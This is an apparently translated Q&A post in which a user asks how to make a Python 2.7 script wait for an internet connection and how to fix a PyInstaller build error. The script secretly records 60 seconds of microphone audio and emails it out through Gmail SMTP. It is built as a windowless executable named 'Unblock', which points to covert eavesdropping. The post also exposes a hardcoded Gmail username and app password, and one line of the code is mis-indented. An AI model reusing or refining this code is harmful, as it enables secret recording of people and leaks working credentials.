等待连接到Internet的代码

时间:2016-04-02 07:38:01

标签: python python-2.7 email pyinstaller

我有这个python代码

import smtplib
import mimetypes
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import urllib2
import pyaudio
import wave
import os
import httplib
import urllib2
from time import sleep
import yagmail
import netifaces
import urllib2,thread

check = _check()
thread.start_new_thread(check.timer,(None,))
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 24000
CHUNK = 1024
RECORD_SECONDS = 60
WAVE_OUTPUT_FILENAME = "file.wav"
audio = pyaudio.PyAudio()
stream = audio.open(format=FORMAT, channels=CHANNELS,
rate=RATE, input=True,
frames_per_buffer=CHUNK)
frames = []
for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
        data = stream.read(CHUNK)
        frames.append(data)
# stop Recording
stream.stop_stream()
stream.close()
audio.terminate()
waveFile = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
waveFile.setnchannels(CHANNELS)
waveFile.setsampwidth(audio.get_sample_size(FORMAT))
waveFile.setframerate(RATE)
waveFile.writeframes(b''.join(frames))
waveFile.close()
emailfrom = "hi@gmail.com"
emailto = "amitaagarwal565@gmail.com"
fileToSend = "file.wav"
username = "amitaagarwal565@gmail.com"
password = "tuduxglywgiczkjl"

msg = MIMEMultipart()
msg["From"] = emailfrom
msg["To"] = emailto
msg["Subject"] = "This is file.wav"
msg.preamble = "This is file.wav"

ctype, encoding = mimetypes.guess_type(fileToSend)
if ctype is None or encoding is not None:
    ctype = "application/octet-stream"

maintype, subtype = ctype.split("/", 1)

if maintype == "text":
    fp = open(fileToSend)
    # Note: we should handle calculating the charset
    attachment = MIMEText(fp.read(), _subtype=subtype)
    fp.close()
elif maintype == "image":
    fp = open(fileToSend, "rb")
    attachment = MIMEImage(fp.read(), _subtype=subtype)
    fp.close()
elif maintype == "audio":
    fp = open(fileToSend, "rb")
    attachment = MIMEAudio(fp.read(), _subtype=subtype)
    fp.close()
else:
    fp = open(fileToSend, "rb")
    attachment = MIMEBase(maintype, subtype)
    attachment.set_payload(fp.read())
    fp.close()
   encoders.encode_base64(attachment)
attachment.add_header("Content-Disposition", "attachment",     filename=fileToSend)
msg.attach(attachment)

server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login(username,password)
server.sendmail(emailfrom, emailto, msg.as_string())
server.quit()
print "done"

录制60秒的任何声音并将其发送到我的电子邮箱。但是,如果没有互联网连接,它就无法工作。所以一个简单的解决方案是等待连接然后启动脚本。任何人都可以帮助我。有关于此的线索,但它们对我来说太先进了,并且想要了解它是如何完成的,只是复制/粘贴。

注意我在32 bit机器上使用64 bit python。 python版本是2.7

此致

编辑:所以我自己想出了这个并且到目前为止

   (The recording code)
#STart of the figured code
loop_value = 1
while loop_value==1:
    try:
        urllib2.urlopen("https://google.com")
    except urllib2.URLError, e:
        print "Network currently down." 
        sleep(20)
    else:
        print "Up and running." 
        loop_value = 0
#End of the figured code
(Email code below this)

因此,我会得到准确的时间,以确定它是否连接到互联网,如果没有,它会循环,直到它找到它。但是,当我使用pyinstaller将其编译为Single可执行文件时,会出现致命错误: -

Fatal Error!
Unblock returned -1

请注意,脚本名称为Unblock.py。我用来将它编译成exe的命令是pyinstaller --onefile --noconsole --icon=icon.ico --version-file=version.txt Unblock.py

我做错了什么?

0 个答案:

没有答案